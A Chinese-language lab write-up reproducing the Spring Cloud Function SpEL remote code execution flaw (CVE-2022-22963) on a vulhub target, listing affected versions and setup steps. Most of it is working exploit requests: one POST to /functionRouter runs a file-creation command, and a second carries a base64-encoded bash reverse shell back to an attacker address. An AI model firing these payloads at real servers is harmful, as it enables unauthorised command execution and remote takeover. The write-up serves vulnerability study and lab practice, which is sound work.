Spring Cloud Function SpEL RCE
0x00 漏洞原理
Spring Cloud Function 提供了一种通用模型,用于在各种平台上部署基于函数的软件,包括 Amazon AWS Lambda 等 FaaS(函数即服务)平台,Spring Cloud Function存在远程代码执行漏洞,在 Spring Cloud Function 版本 3.1.6、3.2.2 和不受支持的旧版本中,当使用路由功能时,用户可以提供特制的 SpEL 作为路由表达式,这可能导致远程代码执行和对本地资源的访问
0x01 影响版本
3.0.0.RELEASE <= Spring Cloud Function <= 3.1.6
Spring Cloud Function <= 3.2.2
0x02 环境搭建
192.168.68.168 #vuluhub靶场/靶机
192.168.68.68 #攻击机/反弹shell
vulhub-master/spring/CVE-2022-22963
docker-compose up -d
0x03 漏洞复现
直接访问 http://192.168.68.168:8080/ 是一个错误页面
POC1
POST /functionRouter HTTP/1.1
Host: 192.168.68.168:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")
Content-Type: text/plain
Content-Length: 4
test
执行POC1
docker-compose exec spring bash #进入到容器内,可以看到成功创建了success文件
反弹shell
https://forum.ywhack.com/reverse-shell/ #通过在线工具进行bash反弹
https://bewhale.github.io/tools/encode.html #对生成的bash反弹命令进行base64加密
注:本人在测试时没进行bashe64加密时反弹不成功,加密之后可以收到shell会话
POC2
POST /functionRouter HTTP/1.1
Host: 192.168.68.168:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjY4LjY4LzMzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}")
Content-Type: text/plain
Content-Length: 4
Test
成功收到反弹过来的shell
python Spel_RCE_Bash_EXP.py http://192.168.68.168:8080/ 192.168.68.68 3333 #用工具打一遍
在监听中成功接受到了shell
参考链接
https://github.com/chaosec2021/EXP-POC
https://vulhub.org/#/environments/spring/CVE-2022-22963/